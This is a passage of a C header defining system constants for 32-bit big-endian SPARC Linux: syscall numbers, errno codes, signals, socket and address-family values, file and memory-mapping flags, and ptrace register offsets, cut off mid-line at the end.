301 #define __NR_migrate_pages 302 #define __NR_mbind 303 #define __NR_get_mempolicy 304 #define __NR_set_mempolicy 305 #define __NR_kexec_load 306 #define __NR_move_pages 307 #define __NR_getcpu 308 #define __NR_epoll_pwait 309 #define __NR_utimensat 310 #define __NR_signalfd 311 #define __NR_timerfd 312 #define __NR_eventfd 313 #define __NR_fallocate 314 #define __NR_timerfd_settime 315 #define __NR_timerfd_gettime 316 #define __NR_signalfd4 317 #define __NR_eventfd2 318 #define __NR_epoll_create1 319 #define __NR_dup3 320 #define __NR_pipe2 321 #define __NR_inotify_init1 322 #define __NR_accept4 323 #define __NR_preadv 324 #define __NR_pwritev 325 #define __NR_rt_tgsigqueueinfo 326 #define __NR_perf_event_open 327 #define __NR_recvmmsg 328 #define __NR_fanotify_init 329 #define __NR_fanotify_mark 330 #define __NR_prlimit64 331 #define __NR_name_to_handle_at 332 #define __NR_open_by_handle_at 333 #define __NR_clock_adjtime 334 #define __NR_syncfs 335 #define __NR_sendmmsg 336 #define __NR_setns 337 #define __NR_process_vm_readv 338 #define __NR_process_vm_writev 339 #define __NR_kern_features 340 #define __NR_kcmp 341 #define __NR_finit_module 342 #define __NR_sched_setattr 343 #define __NR_sched_getattr 344 #define __NR_renameat2 345 #define __NR_seccomp 346 #define __NR_getrandom 347 #define __NR_memfd_create 348 #define __NR_bpf 349 #define __NR_execveat 350 #define __NR_membarrier 351 #define __NR_userfaultfd 352 #define __NR_bind 353 #define __NR_listen 354 #define __NR_setsockopt 355 #define __NR_mlock2 356 #define __NR_copy_file_range 357 #define __NR_preadv2 358 #define __NR_pwritev2 359 #define __NR_statx 360 #define __NR_io_pgetevents 361 #define __NR_pkey_mprotect 362 #define __NR_pkey_alloc 363 #define __NR_pkey_free 364 #define __NR_rseq 365 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EWOULDBLOCK 11 #define EINPROGRESS 36 #define EALREADY 37 #define ENOTSOCK 38 #define EDESTADDRREQ 39 #define EMSGSIZE 40 #define EPROTOTYPE 41 #define ENOPROTOOPT 42 #define EPROTONOSUPPORT 43 #define ESOCKTNOSUPPORT 44 #define EOPNOTSUPP 45 #define ENOTSUP 45 #define EPFNOSUPPORT 46 #define EAFNOSUPPORT 47 #define EADDRINUSE 48 #define EADDRNOTAVAIL 49 #define ENETDOWN 50 #define ENETUNREACH 51 #define ENETRESET 52 #define ECONNABORTED 53 #define ECONNRESET 54 #define ENOBUFS 55 #define EISCONN 56 #define ENOTCONN 57 #define ESHUTDOWN 58 #define ETOOMANYREFS 59 #define ETIMEDOUT 60 #define ECONNREFUSED 61 #define ELOOP 62 #define ENAMETOOLONG 63 #define EHOSTDOWN 64 #define EHOSTUNREACH 65 #define ENOTEMPTY 66 #define EPROCLIM 67 #define EUSERS 68 #define EDQUOT 69 #define ESTALE 70 #define EREMOTE 71 #define ENOSTR 72 #define ETIME 73 #define ENOSR 74 #define ENOMSG 75 #define EBADMSG 76 #define EIDRM 77 #define EDEADLK 78 #define ENOLCK 79 #define ENONET 80 #define ERREMOTE 81 #define ENOLINK 82 #define EADV 83 #define ESRMNT 84 #define ECOMM 85 #define EPROTO 86 #define EMULTIHOP 87 #define EDOTDOT 88 #define EREMCHG 89 #define ENOSYS 90 #define ESTRPIPE 91 #define EOVERFLOW 92 #define EBADFD 93 #define ECHRNG 94 #define EL2NSYNC 95 #define EL3HLT 96 #define EL3RST 97 #define ELNRNG 98 #define EUNATCH 99 #define ENOCSI 100 #define EL2HLT 101 #define EBADE 102 #define EBADR 103 #define EXFULL 104 #define ENOANO 105 #define EBADRQC 106 #define EBADSLT 107 #define EDEADLOCK 108 #define EBFONT 109 #define ELIBEXEC 110 #define ENODATA 111 #define ELIBBAD 112 #define ENOPKG 113 #define ELIBACC 114 #define ENOTUNIQ 115 #define ERESTART 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EILSEQ 122 #define ELIBMAX 123 #define ELIBSCN 124 #define ENOMEDIUM 125 #define EMEDIUMTYPE 126 #define ECANCELED 127 #define ENOKEY 128 #define EKEYEXPIRED 129 #define EKEYREVOKED 130 #define EKEYREJECTED 131 #define EOWNERDEAD 132 #define ENOTRECOVERABLE 133 #define ERFKILL 134 #define EHWPOISON 135 #define __SYS_NERR ((135) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGEMT 7 #define SIGBUS 10 #define SIGSYS 12 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGPWR 29 #define SIGUSR1 30 #define SIGUSR2 31 #define SIGCLD 20 #define SIGPOLL 23 #define SIGLOST 29 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SV_SSTACK 1 #define SV_INTR 2 #define SV_RESET 4 #define SV_IGNCHILD 8 #define SA_NOCLDSTOP 8 #define SA_STACK 1 #define SA_ONSTACK 1 #define SA_RESTART 2 #define SA_RESETHAND 4 #define SA_INTERRUPT 0x10 #define SA_NODEFER 0x20 #define SA_SHIRQ 0x40 #define SA_NOCLDWAIT 0x100 #define SA_SIGINFO 0x200 #define SA_NOMASK 0x20 #define SA_ONESHOT 4 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 4 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define __SUNOS_MAXWIN 31 #define MC_TSTATE 0 #define MC_PC 1 #define MC_NPC 2 #define MC_Y 3 #define MC_G1 4 #define MC_G2 5 #define MC_G3 6 #define MC_G4 7 #define MC_G5 8 #define MC_G6 9 #define MC_G7 10 #define MC_O0 11 #define MC_O1 12 #define MC_O2 13 #define MC_O3 14 #define MC_O4 15 #define MC_O5 16 #define MC_O6 17 #define MC_O7 18 #define MC_NGREG 19 #define MC_MAXFPQ 16 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 0xffff #define SO_DEBUG 0x0001 #define SO_PASSCRED 0x0002 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_PEERCRED 0x0040 #define SO_LINGER 0x0080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_BSDCOMPAT 0x0400 #define SO_RCVLOWAT 0x0800 #define SO_SNDLOWAT 0x1000 #define SO_RCVTIMEO 0x2000 #define SO_SNDTIMEO 0x4000 #define SO_ACCEPTCONN 0x8000 #define SO_DONTLINGER (~0x0080) #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDBUFFORCE 0x100a #define SO_RCVBUFFORCE 0x100b #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_ATTACH_FILTER 0x001a #define SO_DETACH_FILTER 0x001b #define SO_GET_FILTER 0x001a #define SO_PEERNAME 0x001c #define SO_TIMESTAMP 0x001d #define SCM_TIMESTAMP 0x001d #define SO_PEERSEC 0x001e #define SO_PASSSEC 0x001f #define SO_TIMESTAMPNS 0x0021 #define SCM_TIMESTAMPNS 0x0021 #define SO_MARK 0x0022 #define SO_TIMESTAMPING 0x0023 #define SCM_TIMESTAMPING 0x0023 #define SO_RXQ_OVFL 0x0024 #define SO_WIFI_STATUS 0x0025 #define SCM_WIFI_STATUS 0x0025 #define SO_PEEK_OFF 0x0026 #define SO_NOFCS 0x0027 #define SO_LOCK_FILTER 0x0028 #define SO_SELECT_ERR_QUEUE 0x0029 #define SO_BUSY_POLL 0x0030 #define SO_MAX_PACING_RATE 0x0031 #define SO_BPF_EXTENSIONS 0x0032 #define SO_INCOMING_CPU 0x0033 #define SO_ATTACH_BPF 0x0034 #define SO_DETACH_BPF 0x001b #define SO_ATTACH_REUSEPORT_CBPF 0x0035 #define SO_ATTACH_REUSEPORT_EBPF 0x0036 #define SO_CNX_ADVICE 0x0037 #define SCM_TIMESTAMPING_OPT_STATS 0x0038 #define SO_MEMINFO 0x0039 #define SO_INCOMING_NAPI_ID 0x003a #define SO_COOKIE 0x003b #define SCM_TIMESTAMPING_PKTINFO 0x003c #define SO_PEERGROUPS 0x003d #define SO_ZEROCOPY 0x003e #define SO_SECURITY_AUTHENTICATION 0x5001 #define SO_SECURITY_ENCRYPTION_TRANSPORT 0x5002 #define SO_SECURITY_ENCRYPTION_NETWORK 0x5004 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_ACCMODE 0x0003 #define O_APPEND 0x0008 #define FASYNC 0x0040 #define O_CREAT 0x0200 #define O_TRUNC 0x0400 #define O_EXCL 0x0800 #define O_DSYNC 0x2000 #define O_NONBLOCK 0x4000 #define O_NDELAY (0x0004 | 0x4000) #define O_NOCTTY 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_LARGEFILE 0x40000 #define O_DIRECT 0x100000 #define O_NOATIME 0x200000 #define O_CLOEXEC 0x400000 #define O_SYNC (0x800000|0x2000) #define O_PATH 0x1000000 #define __O_TMPFILE 0x2000000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETOWN 5 #define F_SETOWN 6 #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 1 #define F_WRLCK 2 #define F_UNLCK 3 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE (0x2000000 | 0x10000) #define O_ASYNC 0x0040 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_RENAME 0x20 #define MAP_NORESERVE 0x40 #define MAP_INHERIT 0x80 #define MAP_LOCKED 0x100 #define _MAP_NEW 0x80000000 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 0x2000 #define MCL_FUTURE 0x4000 #define MCL_ONFAULT 0x8000 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MADV_FREE 0x5 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define UREG_G0 0 #define UREG_G1 1 #define UREG_G2 2 #define UREG_G3 3 #define UREG_G4 4 #define UREG_G5 5 #define UREG_G6 6 #define UREG_G7 7 #define UREG_I0 8 #define UREG_I1 9 #define UREG_I2 10 #define UREG_I3 11 #define UREG_I4 12 #define UREG_I5 13 #define UREG_I6 14 #define UREG_I7 15 #define UREG_WIM 0 #define UREG_FADDR 0 #define UREG_FP 14 #define UREG_RETPC 15 #define PT_PSR 0x0 #define PT_PC 0x4 #define PT_NPC 0x8 #define PT_Y 0xc #define PT_G0 0x10 #define PT_WIM 0x10 #define PT_G1 0x14 #define PT_G2 0x18 #define PT_G3 0x1c #define PT_G4 0x20 #define PT_G5 0x24 #define PT_G6 0x28 #define PT_G7 0x2c #define PT_I0 0x30 #define PT_I1 0x34 #define PT_I2 0x38 #define PT_I3 0x3c #define PT_I4 0x40 #define PT_I5 0x44 #define PT_I6 0x48 #define PT_FP 0x48 #define PT_I7 0x4c #define RW_L0 0x00 #define RW_L1 0x04 #define RW_L2 0x08 #define RW_L3 0x0c #define RW_L4 0x10 #define RW_L5 0x14 #define RW_L6 0x18 #define RW_L7 0x1c #define RW_I0 0x20 #define RW_I1 0x24 #define RW_I2 0x28 #define RW_I3 0x2c #define RW_I4 0x30 #define RW_I5 0x34 #define RW_I6 0x38 #define RW_I7 0x3c #define SF_L0 0x00 #define SF_L1 0x04 #define SF_L2 0x08 #define SF_L3 0x0c #define SF_L4 0x10 #define SF_L5 0x14 #define SF_L6 0x18 #define SF_L7 0x1c #define SF_I0 0x20 #define SF_I1 0x24 #define SF_I2 0x28 #define SF_I3 0x2c #define SF_I4 0x30 #define SF_I5 0x34 #define SF_FP 0x38 #define SF_PC 0x3c #define SF_RETP 0x40 #define SF_XARG0 0x44 #define SF_XARG1 0x48 #define SF_XARG2 0x4c #define SF_XARG3 0x50 #define SF_XARG4 0x54 #define 